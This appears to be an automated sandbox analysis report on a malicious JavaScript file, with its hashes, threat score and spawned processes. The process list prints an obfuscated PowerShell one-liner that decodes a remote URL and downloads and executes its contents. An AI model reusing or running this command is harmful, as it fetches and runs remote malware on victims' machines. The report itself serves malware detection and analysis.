Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21-12-2024 15:00

General

  • Target

    bf8ec05ef9c5ae6cb11885fe7e2df6b59cd79b6c30449addb510d19e90041534.js

  • Size

    184KB

  • MD5

    482d2df6a3e4ab4cfbe73a0d12f9a2a0

  • SHA1

    3d06c2cee3a451dba61ee0ab494facf995dfdf2c

  • SHA256

    bf8ec05ef9c5ae6cb11885fe7e2df6b59cd79b6c30449addb510d19e90041534

  • SHA512

    c0ddf3f8201951e47c428d76c289a124564119a39fbd28d99086360c63e31653683a8e4105cd56c6a90cd1e1fe9db799c865273750fe7f02324ed9bee7b0a472

  • SSDEEP

    1536:nwiVg5a1uW3SQ9QSZov87dhOc3Au3SQ9QSZovo7dhOc3A47dhOc3At3SQ9QSZov3:n31OvTvcvjvb

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: JavaScript 1 TTPs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\bf8ec05ef9c5ae6cb11885fe7e2df6b59cd79b6c30449addb510d19e90041534.js
    1⤵
      PID:1236
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $pwkoay='ur' ;new-alias printout c$($pwkoay)l;$midfqwbgarxyzj=(663,674,682,666,668,663,683,682,687,620,682,616,663,611,681,676,677,612,614,611,677,669,677,628,680,626,674,670,675,681,680,615,614);$dfhvgxlpsq=('bronx','get-cmdlet');$ruozwfcyhgxv=$midfqwbgarxyzj;foreach($qwbncmxpofvlu in $ruozwfcyhgxv){$cdqvmobkg=$qwbncmxpofvlu;$kibrtgf=$kibrtgf+[char]($cdqvmobkg-565);$lhuqki=$kibrtgf; $gubtflejdsynr=$lhuqki};$rnepvztslxfmh[2]=$gubtflejdsynr;$jzkhto='rl';$kygzpeb=1;.$([char](9992-9887)+'e'+'x')(printout -useb $gubtflejdsynr)
      1⤵
      • Process spawned unexpected child process
      PID:2500

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads